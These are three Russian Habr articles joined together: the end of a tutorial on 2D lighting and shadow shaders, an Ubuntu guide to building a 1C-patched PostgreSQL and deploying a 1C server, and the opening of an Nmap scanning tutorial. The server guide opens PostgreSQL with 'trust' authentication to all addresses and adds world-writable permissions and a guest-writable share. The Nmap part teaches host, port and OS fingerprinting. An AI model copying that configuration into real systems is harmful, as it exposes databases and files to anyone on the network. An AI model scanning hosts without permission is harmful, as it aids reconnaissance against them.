На картинке выше это стрелка, торчащая из центра панели. Вы можете увидеть, что, когда лучи света идут под большим углом (к нормали), панель освещена гораздо хуже. Так вот, в конце концов, алгоритм довольно прост — чем больше угол, тем меньше света получает панель. Самый простой путь вычислить освещенность — вычислить скалярное произведение между вектором от источника света и вектором нормали.
Ок, всё очень здорово, но как получить вектора нормали в 2d игре? Здесь, вообще-то, нет никаких объемных объектов… Однако, здесь нам могут помочь дополнительные текстуры (те самые карты нормалей), в которых будет записана необходимая информация. Я создал 2 таких карты для двух домов в видео повыше и использовал их чтобы посчитать освещение, вот пример:
![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/fae/71f/45e/fae71f45e48f4a8ccb1f79ee87b338fa.png)
В начале вы видите обычный спрайт домика без затенения. На второй части картинки расположена его карта нормалей, кодирующая вектора нормалей в цвет текстуры. У вектора есть (x,y,z) координаты, а у пикселя текстуры есть r,g и b компоненты, так что закодировать нормаль реально просто: Возьмем фасад дома, который направлен на юг. Его нормаль будет вектором с координатами [x:0, y:0.5, z:0]. *(По хорошему, нормаль должна быть равна (0, 1, 0), но так как вектор мы определяем от -1 до +1, а кодировать надо в промежуток от 0 до 1, то, видимо, автор решил не запариваться и сразу считать нормали от -0.5 до +0.5. прим. перев.)*
RGB значения не могут быть отрицательными, так что мы подвинем все значения на 0.5: [x:0.5, y:1, z:0.5]. Ну и ещё RGB обычно представляется в числе от 0 до 255, так что мы домножим на 255 и получим [x:128, y:255, z:128], или, другими словами, вектор «на юг» будет вот [этим светло-зеленым](http://www.colorhexa.com/80ff80) на карте нормалей.
Теперь, когда у нас есть нормали, мы можем позволить графической карте сделать её магию.
Я использую [ImpactJS](http://www.impactjs.com/), у него неплохая совместимость с [WebGL2D](https://github.com/gameclosure/webgl-2d). *(Он платный, я рекомендую pixi.js или любая другая графическая библиотека с webgl рендерером. Если знаете ещё аналоги — пишите в комменты! прим. перев.)* Используя WebGL2D мы можем легко добавить пиксельный шейдер для освещения:
```
#ifdef GL_ES
precision highp float;
#endif
varying vec2 vTextureCoord;
uniform sampler2D uSampler;
uniform vec3 lightDirection;
uniform vec4 lightColor;
void main(void) {
// Берем вектор нормали из текстуры
vec4 rawNormal = texture2D(uSampler, vTextureCoord);
// Если альфа-канал равен нулю, то ничего не делаем:
if(rawNormal.a == 0.0) {
gl_FragColor = vec4(0, 0, 0, 0);
} else {
// Транслируем из RGB в вектор, а именно из 0..1 в -0.5..+0.5
rawNormal -= 0.5;
// Вычисляем уровень освещенности
float lightWeight =
dot(normalize(rawNormal.xyz), normalize(lightDirection));
lightWeight = max(lightWeight, 0.0);
// И записываем в пиксель
gl_FragColor = lightColor * lightWeight;
}
}
```
Пара заметок: У нас получается попиксельное освещение, которое немного отличается от вершинного освещения (обычного в 3d). Выбора особого нет, так как вершины в 2d бессмысленны (их всего 4 штуки для отображения плоскости на сцене). Но, вообще-то, это не проблема, попиксельное освещение гораздо более точное. Также следует отметить, что шейдер рендерит только освещение, без основного спрайта. Придется признать, я немного жульничаю, ведь на самом деле я не освещаю свой спрайт, а, скорее, затеняю его и в **lightColor** я передаю темно-серый цвет. Настоящее освещение пикселей, а именно повышение яркости, выглядит хуже, пиксели кажутся «вытертыми». У этой проблемы есть решения, но сейчас это непринципиально.
![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/ad3/287/678/ad3287678e9e57c5b2b8063bc0df6fb8.png)
### Часть вторая: рисование теней.
Отбрасывание теней в 3D — хорошо изученная проблема с известными решениями, типа [рейтрейсинга](https://ru.wikipedia.org/wiki/%D0%A2%D1%80%D0%B0%D1%81%D1%81%D0%B8%D1%80%D0%BE%D0%B2%D0%BA%D0%B0_%D0%BB%D1%83%D1%87%D0%B5%D0%B9) или [shadow-mapping’а](http://en.wikipedia.org/wiki/Shadow_mapping). Однако, я затруднился найти какое-нибудь приемлимое готовое решение для 2d, пришлось делать самому, думаю получилось нормально, хотя и у него есть пара недостатков.
Вкратце, будем рисовать линию от пикселя на сцене к солнцу и проверять, есть ли какое-нибудь препятствие. Если есть — то пиксель в тени, если нет — на солнце, так что, впринципе, ничего сложного.
Шейдер принимает **xyAngle** и **zAngle**, которые отвечают за то, где находится солнце. Так как оно очень далеко, то лучи света будут параллельны, и, соответственно, эти два угла будут одинаковы для всех пикселей. Также, шейдер будет принимать **карту высот** мира. Она будет показывать высоту всех объектов, зданий, деревьев и т.д. Если пиксель принадлежит зданию, то значение пикселя будет примерно 10, и означать, что высота здания в данной точке — 10 пикселей.
Итак, шейдер начнет в пикселе, который надо осветить и, используя вектор **xyAngle**, будет продвигаться по направлению к солнцу мелкими шажками. На каждом из них мы будем проверять, если в данном пикселе карты высот что-нибудь.
![image](https://habrastorage.org/getpro/habr/post_images/116/3b3/7fe/1163b37fecb0bc55b4578dafe7de548e.gif)
Как только мы найдем препятствие, мы определим его высоту, и насколько высоким оно должно быть в данной точке чтобы преградить солнце (используя **zAngle**).
![image](https://habrastorage.org/getpro/habr/post_images/1fd/008/4e5/1fd0084e5de0874c81df5f6bf2a21ec6.gif)
Если значение в карте высот будет больше, то всё, пиксель в тени. Если нет — мы продолжим искать. Но рано или поздно мы сдадимся и объявим, что пиксель освещен солнцем. В примере я захардкодил 100 шагов, пока что работает отлично.
Вот код шейдера в упрощенной/псевдо форме:
```
void main(void) {
float alpha = 0.0;
if(isInShadow()) {
alpha = 0.5;
}
gl_FragColor = vec4(0, 0, 0, alpha);
}
bool isInShadow() {
float height = getHeight(currentPixel);
float distance = 0;
for(int i = 0; i < 100; ++i) {
distance += moveALittle();
vec2 otherPixel = getPixelAt(distance);
float otherHeight = getHeight(otherPixel);
if(otherHeight > height) {
float traceHeight = getTraceHeightAt(distance);
if(traceHeight <= otherHeight) {
return true;
}
}
}
return false;
}
```
А вот и весь код:
```
#ifdef GL_ES
precision highp float;
#endif
vec2 extrude(vec2 other, float angle, float length) {
float x = length * cos(angle);
float y = length * sin(angle);
return vec2(other.x + x, other.y + y);
}
float getHeightAt(vec2 texCoord, float xyAngle, float distance,
sampler2D heightMap) {
vec2 newTexCoord = extrude(texCoord, xyAngle, distance);
return texture2D(heightMap, newTexCoord).r;
}
float getTraceHeight(float height, float zAngle, float distance) {
return distance * tan(zAngle) + height;
}
bool isInShadow(float xyAngle, float zAngle, sampler2D heightMap,
vec2 texCoord, float step) {
float distance;
float height;
float otherHeight;
float traceHeight;
height = texture2D(heightMap, texCoord).r;
for(int i = 0; i < 100; ++i) {
distance = step * float(i);
otherHeight = getHeightAt(texCoord, xyAngle, distance, heightMap);
if(otherHeight > height) {
traceHeight = getTraceHeight(height, zAngle, distance);
if(traceHeight <= otherHeight) {
return true;
}
}
}
return false;
}
varying vec2 vTextureCoord;
uniform sampler2D uHeightMap;
uniform float uXYAngle;
uniform float uZAngle;
uniform int uMaxShadowSteps;
uniform float uTexStep;
void main(void) {
float alpha = 0.0;
if(isInShadow(uXYAngle, uZAngle, uHeightMap, uMaxShadowSteps,
vTextureCoord, uTexStep)) {
alpha = 0.5;
}
gl_FragColor = vec4(0, 0, 0, alpha);
}
```
В uTexStep записана длина шага для проверки пикселей. Обычно достаточно 1/heightMap.width или 1/heightMap.height, ибо в OpenGL координаты текстур имеют значения от 0 до 1, так что 1/разрешение как раз даст нам размер одного пикселя.
### Заключение
По правде говоря, есть несколько мелких деталей, которые я опустил в коде выше, однако основная идея должна быть понятна. *(Например, идея о том, что карта высот != карте нормалей дошла до меня только сейчас. Прим. перев.).* В данном методе есть большой недостаток, связанный с тем, что каждый пиксель на сцене может иметь лишь одну высоту. Поэтому, например, возникают трудности с деревьями. Движок не сможет корректно отобразить тень от них в виде тонкого ствола и пышной кроны — будут либо толстые цилиндрические тени, либо тонкие палки от стволов, ведь пустота между листьями и землей не записана в карте высот.
![](http://www.mattgreer.org/articles/dynamic-lighting-and-shadows/shadow1.png)![image](http://www.mattgreer.org/articles/dynamic-lighting-and-shadows/shadow2.png) | https://habr.com/ru/post/272427/ | null | ru | null |
# Ubuntu Server 10.04 LTS i386, PostgreSQL + 1C patch, 1c server + web-интерфейс: сборка, установка, настройка
Не знаю, нужно ли это будет кому-нибудь.
Судя по реакции на [habrahabr.ru/blogs/linux/107321](http://habrahabr.ru/blogs/linux/107321/) — это нужно.
**UPD 1 Start**
Из материалов комментариев внизу, спасибо [OldFornit](https://geektimes.ru/users/oldfornit/)
1. texlive-binaries — вполне вероятно, что необходимости в установке этого пакета нет.
2. «Да, платформа для Linux работает не всегда стабильно, часто возникает «падение» сервера, версии разные толком никто ничего не пишет.
Причина то известна — фрагментация памяти. Замечательно помогает ограничение времени жизни одного рабочего процесса/ограничение памяти на один рабочий процесс (в районе 1.6G). Внезапно! Рабочих процессов может быть (и должно быть) больше одного.»
3. «Да, и без описания тюнинга постгреса или хотя бы отсылки на любую статью по этому вопросу — смысла в настройке данной связки никакого.
wiki.etersoft.ru/PostgreSQL/Optimum?v=148t
Etersoft продают поддержку PostgreSQL.
**UPD 1 End**
**UPD 2 Start**
1.
После того, как изменили
kernel.shmmax = 143217728
kernel.shmall = 143217728
Необходимо применить их коммандой:
sysctl -p
2.
Вполне возможно, что потребуется создать
симлинки на
libreadline.so.6
ln -s /lib/libreadline.so.6 /lib/libreadline.so.5
3.
texlive-binaries не нужны, достаточно установить
aptitude install t1utils libt1-5
и ttf2pt1
[altruistic.lbl.gov/mirrors/ubuntu/pool/universe/t/ttf2pt1](http://altruistic.lbl.gov/mirrors/ubuntu/pool/universe/t/ttf2pt1/)
(взято отсюда [pg1c.ru/?page\_id=173](http://pg1c.ru/?page_id=173))
**UPD 2 End**
Поэтому не судите строго, если кто не любит Ubuntu или 1С или „и то и другое“.
[1] Исходный материал представлен на [www.opennet.ru/cgi-bin/openforum/vsluhboard.cgi?az=show\_thread&omm=0&om=67768&forum=vsluhforumID3](http://www.opennet.ru/cgi-bin/openforum/vsluhboard.cgi?az=show_thread&omm=0&om=67768&forum=vsluhforumID3)
данная поделка является дополненнием и исправленнием.
[2] Кроме того, использован ряд материалов из сети, в частности [openstar.com.ua/blog/установка-1С-linux-postgresql](http://openstar.com.ua/blog/установка-1С-linux-postgresql/).
Огромное спасибо компании Ailant (http://ailant.com.ru/) которая раскурила все нужные маны и предложила исходную сборку RPM и DEB.
Так же персональный „respect и уважуха“ Игорю Вершинину ( Igor Vershinin ) из того же Ailant.
А так же тому парню, который сделал сборку под i386 по описанию Ailant'a, скорее всего его имя Валерий.
Материал по locale.gen взят из базы знаний 1С.
Приступим пожалуй?
Итак, наша задача установить:
1. Ubuntu Server 10.04 LTS .
2. 1C Server.
3. PostgreSQL сервер, собранный специально под 1С.
**Проведем первоначальную настройку.**
Загрузим и установим сервер, при установке выберем сразу LAMP и SAMBA.
Хотя PHP и MySQL нам не нужен, но, мало ли, вдруг мы потом надумаем делать на этой машине ещё и вебсервер.
Первые команды в сервере после установки:
> sudo -i
>
> apt-get install mc
>
> apt-get install ntp
>
> apt-get update
>
> apt-get upgrade
>
> apt-get dist-upgrade
>
> echo kernel.shmmax = `echo 128\*1024\*1024 | bc` >> /etc/sysctl.conf
>
> echo kernel.shmall = `echo 128\*1024\*1024 | bc` >> /etc/sysctl.conf
Проверяем:
> nano /etc/sysctl.conf
В самом конце должно быть:
> kernel.shmmax = 143217728
>
> kernel.shmall = 143217728
Не знаю, надо или нет, просто проследовал рекомендациям в [2], на всякий случай поставил.
> apt-get install libxslt1.1 libxml2
Теперь то, что точно нужно:
> echo en\_US ISO-8859-1 >> /etc/locale.gen
>
> locale-gen
>
> Generating locales…
>
> ru\_RU.UTF-8… done
>
> en\_US.ISO-8859-1… done
>
> Generation complete.
Сделаем две символических ссылки, без которых «1С: Предприятие» не сможет работать с СУБД:
> ln -s /usr/lib/locale/en\_US.utf8 /usr/lib/locale/en\_US
>
> ln -s /usr/share/locale/en /usr/share/locale/en\_US
>
>
>
>
**Теперь установка PostgreSQL**
Ещё немного зависимостей:
> apt-get install postgresql-common postgresql-client-common libicu42 libossp-uuid16
Далее, собираем PostgreSQL так, как это указано в инструкции OpenNet.
Скачиваем с <http://v8.1c.ru/overview/postgres_patches_notes.htm> все три патча самых последних версий (там еще RPM лежит, но он нам не подойдет).
Версия 8.4.1
* 1c\_FULL\_84-0.19.2.patch -- патч содержит дополнительные модули расширения и необходимые изменения к СУБД,
добавляющие функциональность, необходимую для работы с сервером 1С: Предприятия 8.1 и 1С: Предприятия 8.2.
* postgresql-1c-8.4.patch патч модифицирующий скрипт запуска/останова и конфигурационных файлов PostgreSQL для повышения производительности при работе с сервером 1С: Предприятия 8.1 и 1С: Предприятия 8.2.
* applock-1c-8.4.1.patch патч устраняющий проблему блокировок при использовании AUTOVACUUM.
То, что версия 8.4.1 совсем не страшно, т.к. по информации OpenNet „все минорные исправления не затрагивают того, что патчит фирма 1С.“
>> „Переименовываем патчи, добавляя перед названием «20-», «21-» и «22-», т. е. приводим их к виду: 20-1c\_FULL\_84-0.19.2.patch, 21-postgresql-1c-8.4.patch, 22-applock-1c-8.4.1.patch.“
Создаем папку 1С, если ещё не сделали этого.
Качаем в неё PostgreSQL:
> apt-get source postgresql
>> „После скачивания архивы автоматически распакуются, будут наложены специфичные для Ubuntu патчи (что очень хорошо, так как итоговая сборка будет “родной»). Затем копируем наши патчи в каталог "/debian/patches/". Далее нам предстоит исправить три файла, ответственных за правильную сборку пакета. Все три файла содержаться в каталоге «debian»."
Т.е. если все делать по шагам то это будет нечто вроде "/1c/debian/patches".
>> Файл «changelog». Отвечает за правильное наименование пакетов после сборки. Добавляем туда следующие строки в начало файла:
postgresql-8.4 ([префикс ваш, чтобы версия была выше чем 8, например 18]8.4.4-[как вы хотите назвать сборку]-0ubuntu10.04) lucid; urgency=low
\* Apply 1C patch for PostgreSQL (from 8.4.1 version)
— add mchar, fulleq, fasttrun
-- [Имя] [Фамилия] [дата в правильном формате]
Посмотрите внимательно на этот файл и Вы поймете, что сначала идет полное имя сборки, потом, после звездочки что именно изменяется, потом описание, более подробное, потом кто конкретно коммитил патчами и что было сделано.
Таким образом версия наша будет [цифра, которую вы вписали вначале, например]: 18.4.4, чтобы в дальнейшем она самостоятельно не обновилась при апдейте системы.
Если будут выходить новые версии, то всегда можно сделать то же самое пересобрав PostgreSQL.
Да, сейчас вышла 9 версия, хорошо, что она пока не «скачивается автоматом» для Ubuntu 10.04 LTS, т.к. о её совместимости пока толком ничего сказать нельзя.
>> Следующий файл «control».
Необходимо добавить зависимость от библиотеки «libicu42» (требуется для патча от «1С»).
В секции «Build-Depends» (в начале файла) в конце списка добавляем ", libicu-dev".
Целиком строка будет выглядеть вот так:
> bison, flex, docbook-utils, openjade, docbook, libicu-dev
И последний файл «postgresql-contrib-8.4.install». В него необходимо добавить строки с именами 1С-овских модулей: mchar, fulleq и fasttrun. После строк:
> usr/lib/postgresql/8.4/lib/pg\_stat\_statements.so
>
> usr/lib/postgresql/8.4/lib/citext.so
>
> usr/lib/postgresql/8.4/lib/btree\_gin.so
надо добавить:
> usr/lib/postgresql/8.4/lib/mchar.so
>
> usr/lib/postgresql/8.4/lib/fulleq.so
>
> usr/lib/postgresql/8.4/lib/fasttrun.so
Но это не все.
>> Т.к. мы собираем на 32-bit компьютере i386, нам необходимо прописать правильные «обработки дат».
Это указывается в файле /debian/rules, фактически это обычный make-файл, указывающий порядок сборки.
В нем есть в строке 31 опция "--enable-integer-datetimes", ее надо заменить на "--disable-..."
Теперь нужно поправить сам патч от 1С, тот файл, который больше всего по размеру, т.к.
>> Вышло обновление патча 0.19.3 от 1С с небольшим инзменением, вместо строки 2118:
+LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
используется она же с одним измененным словом, а именно так:
+LANGUAGE C RETURNS NULL ON NULL INPUT VOLATILE;
Вот теперь "операцию по адаптации можно считать законченой".
Компилируем как указано в статье, через «pbuilder» (>> «Более подробно об этом можно почитать в <https://wiki.ubuntu.com/PbuilderHowto>»).
Для этого ставим, собственно, его и ещё одну нужную либу.
> apt-get install pbuilder cdbs
Создаем сборочный стенд:
> pbuilder create
Обновляем сборочный стенд (желательно каждый раз перед компиляцией):
> pbuilder update
Переходим в каталог, где лежат наши исходники PostgreSQL и «говорим»:
> pdebuild
>> Сборка началась. В первый раз по зависимостям будет вытянуто около 500 мегабайт, надо быть к этому готовым. Либо собирать на unlim-канале (дома, например). В дальнейшем пакеты кешируются. У нас используется пакет apt-proxy, который также умеет это делать. Для предприятий, где работает не один сервер, очень рекомендую.
Сборка проходит ровно и спокойно. По окончанию в каталоге "/var/cache/pbuilder/result" будут лежать собранные пакеты.
Все так и есть.
Берем полученые пакеты куда-нибудь из /var.
Под root (sudo -i) делаем установку.
И, собственно, установка PostgreSQL, последовательность имеет значение, если использовать кнопку TAB для автодополнения то набрать эти длинные имена очень просто:
> dpkg -i libpq5\_[имя вашей сборки, у меня вышло 8.4\_8.4.5]-0ubuntu10.04\_i386.deb
>
> dpkg -i libpgtypes3\_[имя вашей сборки, у меня вышло 8.4\_8.4.5]-0ubuntu10.04\_i386.deb
>
> dpkg -i postgresql-client-[имя вашей сборки, у меня вышло 8.4\_8.4.5]-0ubuntu10.04\_i386.deb
>
> dpkg -i postgresql-8.4\_[имя вашей сборки, у меня вышло 8.4\_8.4.5]-0ubuntu10.04\_i386.deb
>
> dpkg -i postgresql-contrib-8.4\_[имя вашей сборки, у меня вышло 8.4\_8.4.5]-0ubuntu10.04\_i386.deb
>
>
Всё, PostgreSQL установлен, запущен он был на четвертом пакете.
Проверяем просто:
> ps aux | grep post
Проверим, чтобы PostgreSQL всегда запускался после перезагрузки:
> update-rc.d postgresql-8.4 defaults
>
>
У меня написало
> System start/stop links for /etc/init.d/postgresql-8.4 already exist.
Проверяем что PostgreSQL встал «как надо», смотрим существует ли:
> /etc/postgresql/8.4/main/pg\_hba.conf
Заодно поправим pg\_hba.conf, так, чтобы PostgreSQL был легко «виден по сети».
> # TYPE DATABASE USER CIDR-ADDRESS METHOD
>
> # local all all ident sameuser # БЫЛО
>
> local all all trust # СТАЛО
>
> #host all all 0.0.0.0/0 md5 # БЫЛО
>
> host all all 0.0.0.0/0 trust # СТАЛО
С точки зрения безопасности это, конечно, неверно, зато — работает.
Теперь поправим пароль на PostgreSQL, ведь мы его пока не знаем?
> sudo passwd postgres
Это, конечно, не задаст пароль на базу, но задаст пароль на СУБД, по сети мы его увидим.
**Теперь, собственно, установка 1С.**
Первоначальная подготовка включает в себя:
> apt-get install imagemagick msttcorefonts libgsf-1-114 texlive-binaries
Качаем 1С с сайта users.v8.1c.ru, конечно, это касается тех, у кого есть туда доступ.
Можно попытаться поискать на дисках ИТС или в сети...
Далее все вполне стандартно и банально, последовательно ставим:
> 1c-enterprise82-common\_8.2.12-92\_i386.deb
>
> 1c-enterprise82-common-nls\_8.2.12-92\_i386.deb
>
> 1c-enterprise82-server\_8.2.12-92\_i386.deb
>
> 1c-enterprise82-server-nls\_8.2.12-92\_i386.deb
>
> 1c-enterprise82-ws\_8.2.12-92\_i386.deb
>
> 1c-enterprise82-ws-nls\_8.2.12-92\_i386.deb
>
> 1c-enterprise82-crs\_8.2.12-92\_i386.deb
>
> 1c-enterprise82-crs-nls\_8.2.12-92\_i386.deb
Проверяем, что всё нормально, что всё установилось:
> /opt/1c/v8.2/i386/utils/config\_server
Должен отработать, не выдав никаких сообщений.
Если всё-таки что-то выдает, значит, следуем инструкции, он ругается на то, что ему не хватает.
>> Обычно она указывает не на название пакетов, а на недостающие файлы. Узнать в каком они пакете можно через «apt-file search».
Делаем возможность запуска после перезагрузки и запускаем:
> update-rc.d srv1cv82 defaults
>
> service srv1cv82 start
>
> ps aux | grep 1c
От имени пользователя «usr1cv82» должно быть запущено три процесса. Если процесса не три, а один (такое почему-то иногда бывает, но только при первоначальном запуске), то грохаем всё в каталоге /home/usr1cv82:
> service srv1cv82 stop
>
> грохаем
>
> service srv1cv82 start
Перезагружаемся и проверяем, что все работает:
> ps aux | grep apache
>
> ps aux | grep post
>
> ps aux | grep 1c
**Теперь разберемся с web сервисом:**
Обычно, каждое клиентское подключение хочет ключик, это же касается и web-сервиса, каждый web-клиент забирает 1 «свободную лицензию».
Заморачиваться с установкой HASP LM даже под Ubuntu у меня не было никакого желания, т.к. на сайте Alladin только TAR.
Я пошел в обход. С Windows компьютера, на котором установлена платформа 8.2 берется файл:
> C:\Program Files\1cv82\conf\nethasp.ini
Фийл располагается в
> /opt/1c/v8.2/i386/conf/nethasp.ini
В файле правятся
> ;;NH\_TCPIP = Enabled or Disabled ; Use the TCP/IP protocol
на
> NH\_TCPIP = Enabled; Use the TCP/IP protocol
это примерно 24 строка.
И 110 строка
> ;;NH\_SERVER\_ADDR = , ; IP addresses of all the NetHASP
на
> NH\_SERVER\_ADDR = IP компьютера, на котором установлен HASP LM
После этого web сервис начнет видеть лицензии.
Теперь сам web.
Я создал папку "/1c/web/".
Положил в неё файл default.vrd следующего содержания:
> `1. </fontxml version="1.0" encoding="UTF-8"?>
> 2. <point xmlns="http://v8.1c.ru/8.2/virtual-resource-system"
> 3. xmlns:xs="http://www.w3.org/2001/XMLSchema"
> 4. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
> 5. base="/unf"
> 6. ib="Srvr="[имя сервера]";Ref="[имя БД сервера]quot;;">
> 7. <ws enable="false"/>
> 8. point>
> \* This source code was highlighted with Source Code Highlighter.`
В девственно пустой /etc/apache2/httpd.conf добавилась строка:
> LoadModule \_1cws\_module "/opt/1C/v8.2/i386/wsap22.so"
А в /etc/apache-2/sites-enabled/000-default
> `1. Alias /1с "/1c/web"
> 2. <Directory "/1c/web/">
> 3. AllowOverride None
> 4. Options None
> 5. Order allow,deny
> 6. Allow from all
> 7. SetHandler 1c-application
> 8. ManagedApplicationDescriptor "/1c/web/default.vrd"
> 9. Directory>
> \* This source code was highlighted with Source Code Highlighter.`
Важно, чтобы и apache и 1С имели доступ к папке "/1c/web/".
Я поступил топорно:
> chmod 777 -R /1c
Т.к. задолго перед этим уже успел «убить» безопасность вещью типа:
> [share]
>
> comment = All Share
>
> browseable = yes
>
> path = /1c/share
>
> guest ok = yes
>
> read only = no
>
> create mask = 0777
>
> directory mask = 0777
В /etc/samba/smb.conf.
Да, платформа для Linux работает не всегда стабильно, часто возникает «падение» сервера, версии разные толком никто ничего не пишет.
Для того, чтобы этого избежать применяем типичный костыль:
> 1. Берём скрипт стартера 1С (для тех, кто в танке: "/etc/init.d/srv1cv82"), копируем куда-нибудь в свою папочку (у меня "/1c/script").
> 2. Правим его как нам угодно, желательно вывести сообщения в лог, методом проб и ошибок разберетесь...
> 3. Вешаем на crontab (man crontab) под root (sudo -i) (можно просто повесить service srv1cv82 start, про start не забываем!)
>
> crontab -e
>
> \*/5 \* \* \* \* service srv1cv82 start
>
Если кого-то интересуют «плоские» базы 8.2 в http-Intranet то для них нужно:
1. Полная шара типа описанной выше, это для конфигурирования.
2. Соответственно, сама конфигурация в этой шаре.
3. Сами настройки Apache не меняются, меняется default.vrd:
> `1. </fontxml version="1.0" encoding="UTF-8"?>
> 2. <point xmlns="http://v8.1c.ru/8.2/virtual-resource-system"
> 3. xmlns:xs="http://www.w3.org/2001/XMLSchema"
> 4. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
> 5. base="/new"
> 6. ib="File="[путь до шары типа /1c/baza]";">
> 7. <ws enable="false"/>
> 8. point>
> \* This source code was highlighted with Source Code Highlighter.`
На этом, вроде как, все.
И, на всякий случай:
1. Монтирование доступных ресурсов Windows выполняется так: sudo smbmount \\\\[имя компьютера]\\[имя ресурса] /mnt -o username=[username],password=[password],[rw?],iocharset=utf8
2. /etc/network/interfaces:
iface eth0 inet static
address 192.168.XXX.XXX
netmask 255.255.255.0
gateway 192.168.XXX.XXX
а так же смотрим чтобы в /etc/resolv.conf было «все ОК»
3. Не забываем про /etc/.wgetrc, /etc/apt/apt.conf, /etc/environment если у нас proxy, правим https\_proxy http\_proxy и ftp\_proxy по формату = [http://[user]:[pass]@[IP:port](http://[user]:[pass]@[ip:port/)]
4. Не забываем, что для Samba Share тоже нужно давать chmod
5. Не забываем, что строго говоря, apache ничего не знает об /opt, вполне может быть что тоже нужно давать chmod
Замечу, что все в консоли: используем простую истину, что «GUI для слабых духом», а машинка у нас на виртуалке :).
Теперь точно всё. | https://habr.com/ru/post/108594/ | null | ru | null |
# Nmap. Начало использования
![image](https://habrastorage.org/r/w780q1/storage/habraeffect/3a/bf/3abf753bcb7fc17edaa11747228d8873.jpg)
Вы когда-нибудь интересовались откуда атакующий знает какие порты открыты в системе? Или как узнать, какие приложения запущены на сервере, не спрашивая об этом администратора? Вы можете сделать все это и даже больше вместе с небольшим инструментом под названием Nmap.
Что такое Nmap? Название Nmap это сокращение от “network mapper”, сам nmap это набор инструментов для сканирования сети. Он может быть использован для проверки безопасности, просто для определения сервисов запущенных на узле, для идентификации ОС и приложений, определения типа фаерволла используемого на сканируемом узле.
Nmap это знаменитый инструмент. Как только вы узнаете больше о Nmap, вы поймете, что он делает в эпизодах таких фильмов как Матрица Перезагрузка, Ультиматум Борна, Хоттабыч, и [других](http://nmap.org/movies.html).
В этом руководстве будут описаны основы использования Nmap и приведены некоторые примеры, которые вы сможете использовать.
###### Где взять Nmap?
Если Вы используете Linux, то можете найти пакеты Nmap в репозиториях для большинства дистрибутивов. Последний релиз Nmap вышел в начале 2010, поэтому самой свежей версии может не быть в текущих стабильных ветках. Найти исходники и некоторые бинарные сборки можно на [странице загрузки](http://nmap.org/download.html).**Там есть и windows версия.**
###### Основы использования Nmap.
Синтаксис Nmap следующий:
`nmap Опции_сканирования Цель_сканирования.`
Допустим Вы хотите сканировать узел и узнать какая операционная система на нем работает. Чтобы сделать это выполните следующее:
`nmap -O target.host.com`
Заметим что Nmap требует привилегий суперпользователя для запуска подобного типа сканирования. Процесс сканирования может занять около минуты, так что будьте терпеливы. Когда процесс закончится вы увидите что то похожее на это:
`Starting Nmap 5.21 ( nmap.org ) at 2010-02-27 23:52 EST
Nmap scan report for 10.0.0.1
Host is up (0.0015s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
53/tcp open domain
5009/tcp open airport-admin
10000/tcp open snet-sensor-mgmt
MAC Address: 00:11:24:6B:43:E2 (Apple Computer)
Device type: WAP|printer
Running: Apple embedded, Canon embedded, Kyocera embedded, Xerox embedded
OS details: VxWorks: Apple AirPort Extreme v5.7 or AirPort Express v6.3; Canon imageRUNNER printer (5055, C3045, C3380, or C5185); Kyocera FS-4020DN printer; or Xerox Phaser 8860MFP printer
Network Distance: 1 hop`
Как вы видите Nmap предоставляет множество информации. Здесь он отображает предположение об операционной системе, которая была запущена на узле. В данном случае выполнялось сканирование маршрутизатора Apple Airport Extrime. В качестве дополнительного бонуса Nmap сообщил, что устройство на расстоянии одного прыжка, а также MAC адрес устройства и производителя сетевой карты, открытые порты и сколько времени выполнялось сканирование.
Ниже приведены результаты другого сканирования, домашнего компьютера с запущенной Ubuntu 9.10:
`Starting Nmap 5.21 ( nmap.org ) at 2010-02-28 00:00 EST
Nmap scan report for 10.0.0.6
Host is up (0.0039s latency).
Not shown: 999 closed ports
PORT STATE SERVICE
22/tcp open ssh
MAC Address: 00:17:08:2A:D6:F0 (Hewlett Packard)
Device type: general purpose
Running: Linux 2.6.X
OS details: Linux 2.6.19 - 2.6.31
Network Distance: 1 hop
OS detection performed. Please report any incorrect results at nmap.org/submit .
Nmap done: 1 IP address (1 host up) scanned in 3.40 seconds`
Здесь мы видим, что система имеет сетевую карту HP, запущено Linux между версиями 2.6.19 и 2.6.31. Кстати, Вы не сможете явно идентифицировать дистрибутив, только версию Linux ядра.
#### Сканирование чужих узлов.
В примерах выше для сканирования были выбраны локальный маршрутизатор и одна из рабочих станций, потому что мы имели право на их сканирование. Однако, будет плохой идеей запуск множественного сканирования чужого узла, если вы их не контролируете или не имеете прав для сканирования. Для экспериментов Nmap имеет общедоступный тестовый сервер scanme.nmap.org который Вы можете использовать.
Многие администраторы не любят несанкционированного сканирования их серверов, так что лучшим вариантом будет ограничение сканирования узлов своей локальной сети или тех для которых у вас есть права на сканирование. Также в некоторых случаях вы можете нарушить договор с вашим провайдером, при использовании некоторых особо агрессивных методов сканирования Nmap, поэтому будьте осторожны.
#### Сканирование нескольких узлов.
Вы можете сканировать больше чем один узел за раз, используя nmap. Если вы производите сканирование по IP-адресу вы можете определить диапазон 10.0.0.1-6 или 10.0.0.0/24.Используя диапазон 10.0.0.1-6 будут сканироваться узлы от 10.0.0.1 до 10.0.0.6. Используя определение /24 будет сканироваться весь диапазон узлов от 10.0.0.0 до 10.0.0.255. Для примера, если нужно просканировать узлы от 10.0.0.1 до 10.0.0.42 и узнать какая ОС вероятно запущена используйте:
`nmap –O 10.0.0.1-42`
Если у вас есть некоторый список доменных имен вместо IP адресов, вы можете разделить их в командной строке, вот так:
`nmap -O host1.target.com host2.target.com`
#### Проверка открытых портов
Если вы запустите nmap вообще без опций и укажите какой то узел, то он будет сканировать порты и покажет все найденные открытые порты и сервисы запущенные на них. Например запустите:
`nmap target.hostname.com`
после чего он должен выдать что то похожее на это:
`Interesting ports on target.hostname.com (10.0.0.88):
Not shown: 1711 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3306/tcp open mysql
Nmap done: 1 IP address (1 host up) scanned in 0.228 seconds`
Nmap выдаст больше информации если использовать опцию -v (verbose).
#### Сканирование запущенных сервисов
Если вы хотите узнать какой сервис возможно запущен попробуйте опцию –sV. Эта опция произведет более агрессивное сканирование и попытается выяснить какая версия сервисов запущена на данном узле, а также может помочь более точно определить какая ОС запущена. Для пример запустим nmap –sV на тестовый сервер и получим следующий ответ:
`Starting Nmap 5.21 ( nmap.org ) at 2010-02-28 00:15 EST
